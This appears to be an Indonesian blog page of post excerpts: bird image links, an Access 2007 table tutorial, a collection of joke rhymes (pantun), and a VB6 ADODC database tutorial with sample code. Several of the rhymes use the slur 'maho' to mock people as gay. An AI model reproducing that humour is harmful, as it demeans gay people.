• https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizah8Z8_TbyRBXb3N23oWj4q-WBc-EYcZdEyyh5azG0od6YjFUSP4sXNObuLejkEUMv8LH-YJjOWs36u75_hvO4RuxV95ImqHnrgUeEYitgpsTKJZ8kUfa7k3DkI-pYzaG1V9jgRR2IoM/s1600/Green+bird.png

Warna Ungu

• https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2pPU-sEq14PZcfHwTh0lkvrgsu9GaECYXIVW6XEnljukHrgNfZ2zBI8YogWurBvjkR6V0CqSbLR4GOP0T2NZmVxfRdn-MpbDpduHcsFCJvUCik7GS8dAS1xOcDpuDYbqZqJXuN2TU1Ok/s1600/purple+bird.png

Warna Putih

• https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFi0Y2QcMIdUJ85REZMgxaVhtxl42uSI3AGLpZUHT2H8vQI8WZrNV8TjCzoFM_tiMx5BZ3YmNVTfJjdG31HpKtHMDBPlDgJpk58OhaH9bBPLF6njtZ-ZsrMw9j4v-ANn2zSlbwronyhO0/s1600/white+bird.png

Warna Merah

• https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJXBzayDnKzXYDk0QdWrqoe2IT9bxinblmAHL48dmScgwMApZv-ENL1vDhB7hywDfno59XQRjgrVoO9i6IhgmsKqgJj7rsq05WPIvgIfELYyE8Y-UTB8Ooo1qrs32EgsNRILTtKP9tfNU/s1600/red+bird.png

Dan terakhir jangan lupa disimpan
Good luck Sob..!

Baca Selengkapnya...

Langkah-langkah Membuat Database menggunakan Microsoft Office Access 2007

1. Pastikan ms office sudah anda install 

2.  Pilih Ms access 2007

3. Setelah anda open Ms access tadi, pilih blink database



4. kemudia akan tampil tampilan

 

5. Kemudian buka file name tadi seperti gambar di atas, akan muncul form lagi

buat folder kemudian pilih format file(mdb). karena nantinya kita akan menghubungkan access dengan Delphi(Postingan selanjutnya). setalah sudah di pilih tinggal klik ok

6. Pilih Create

7. Pilih table1, klik kanan pilih design view isi nama table: misalnya (club)

8.  kemudian isi table dengan berapa field yang anda inginkan, misalnya seperti ini

9. Di sini saya menggunakan 7 field (no, arsenal, Real Madrid, Chelsea, Barcalona, MU, Valencia). ganti field sizenya pada field Properties sesuai Keingginan anda

10.  Klik table (club) pilih open Isi Field dengan bebera Record

11. kemudian Save. liat hasilnya di mana anda menyimpan file tersebut.

12. Selesai .

Baca Selengkapnya...

Pantun Lucu Paling Konyol, Pantun Lucu banget 2012

Pantun lucu dan konyol paling lucu dan paling konyol terbaru 2012. Kumpulan pantun lucu banget, pantun jenaka lucu, pantun humor dan pantun gokil yang bikin ngakak.

mAkAn pIzzA di prAnciz
sAmbiL dengAr lAgu romantiz
bukAn mO sok pUitiz or drAmatiz
tapi mAaf……. aq calon artiz
cUma pEngen bAgi sms grAtiz
kAn sayAng klO gA abIz………..heheeeee

Jinak-jinak burung merpati
Lebih jinak burung lelaki
Burung merpati dipegang lari
Burung lelaki dipegang berdiri!

BUAH MANGGA BUAH KEDONGDONG
BELI DI PASAR HARGANYA MURAH
Gile gw ganteng kayak berondong
Istri gw nanti pasti kayak Asmirandah

Masak air biar mateng
Dipake naek buat ke genteng
Eh atas jangan sok ganteng
masih tetep ane yang paling ganteng

Naek becak, pake aki
Elu ngaca, banyak daki

Beli Aki, diwarung Bu Saritem
Ehh Gapapa ada daki
Dari pada eluu itemmm

Ada kera nelen permen
biar item tapi keren

Sendal jepit beli di Pak tua
Ketiban nasi dimarahin ayahh
Eh Lo diatas gww
maho yahhh

Ibu-ibu keujanan
Langsung mandi pake sampoo
Eh ngacaaa donk gan
masa maho teriak maho

Ada boboho ketemu betmen
biar maho yg penting keren

Pak haji makan permen
Habis itu mukulin boboho
Tetep aja gan walaupun kerennn
Lo tetep Mahoo

Jalan jalan mampir ke pariss
Ketemu cewek e ternyata setan
Wahhh Looo.... Mirissss
Jangan bilang maho gw padhal lo juga maho kan gan

Ada buaya
ada anjing

Dari semuanya
tetep gw yg paling ganteng

Burung irian
burung cendrawasih

Cukup sekian
terima kasih

Enaknya makan bubur
Pagi pagi dirumah Mbak Kurosai
Ehh gan jangan kaburr
Pertarungan masih belom selesai

Baca Selengkapnya...

Aplikasi database dengan ADODC & Visual Basic 6.0

ADODC adalah komponen akses data yang disediakan Microsoft untuk mempermudah pegkasesan data pada program kita. Dengan ADODC kita dapat berhubungan dengan database SQL Server maupun database Access lalu melakukan pengolahan data standar seperti menambah, menghapus, cari, hapus simpan dan lain-lain. ADODC bisa menjadi komponen pengikat data di database dengan kontrol pengolah data seperti textbox, maupun kontrol MSHFlexGrid. Kali ini kita akan melakukan pengolahan database MS-Access dengan kontrol ADODC di visual basic 6.0 Buat database baru dengan Microsoft Access lalu buat tabel Karyawan seperti gambar di bawah ini: Simpan dengan nama dataku.mdb lalu tutup Microsoft Acces Point penting dari ADODC adalah kita membuat connection stringnya dan  melalui property connection string menentukan recordsource melalui property recordsource. contoh: adodc1.connectionString="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=D:\artikel\vb6 db adodc\dataku.mdb;Persist Security Info=False" adodc1.RecordSource="SELECT * FROM Karyawan" Selanjutnya kita melakukan pengikatan data  (binding) ke textbox melalui property datasource dan datafield objek textbox. Buatlah form seperti di bawah ini: berikut ini adalah kode selengkapnya: Private Sub cmdCari_Click()   Dim sNik As String   sNik = InputBox("NIK:")     Adodc1.Recordset.MoveFirst   Adodc1.Recordset.Find "nik='" & sNik & "'" End Sub Private Sub cmdHapus_Click()   Adodc1.Recordset.Delete   cmdTampil_Click End Private Sub cmdSimpan_Click()   Adodc1.Recordset.Fields("nik") = txtNik.Text   Adodc1.Recordset.Fields("nama") = txtNama.Text   Adodc1.Recordset.Fields("alamat") = txtAlamat.Text   cmdTampil_Click End Sub Private Sub cmdTambah_Click()   Adodc1.Recordset.AddNew   txtNik.Text = ""   txtNama.Text = ""   txtAlamat.Text = "" End Sub Private Sub cmdTampil_Click()   Set grd.Recordset = Adodc1.Recordset   grd.ColWidth(0) = 0   grd.ColWidth(1) = 1000   grd.ColWidth(2) = 2000   grd.ColWidth(3) = 3000 End Sub Private Sub Form_Load()   cmdTampil_Click End Sub Jika program ini dijalankan maka akan terlihat seperti gambar di bawah ini:   Setelah Anda selesai membuat aplikasi database mungkin anda menemui masalah ketika anda menginstall di komputer lain yang posisi path atau folder penyimpanan database nya berbeda dengan di komputer anda misalnya waktu membuat aplikasi anda simpan di d:\program\dataku.mdb  sedangkan waktu install mungkin di c:\program\dataku Hal ini bisa diatasi dengan membuat kata kunci App.Path Sehingga connection string nya: adodc1.connectionString="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=D:\artikel\vb6 db adodc\dataku.mdb;Persist Security Info=False" kita ganti menjadi: adodc1.connectionString="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & app.path & "\dataku.mdb;Persist Security Info=False" Hal yang sama dapat anda lakukan dengan objek data1 bawaah visual basic 6 Lihat kode di bawah ini: Data1.DatabaseName = App.Path & "\dataku.mdb"

Baca Selengkapnya...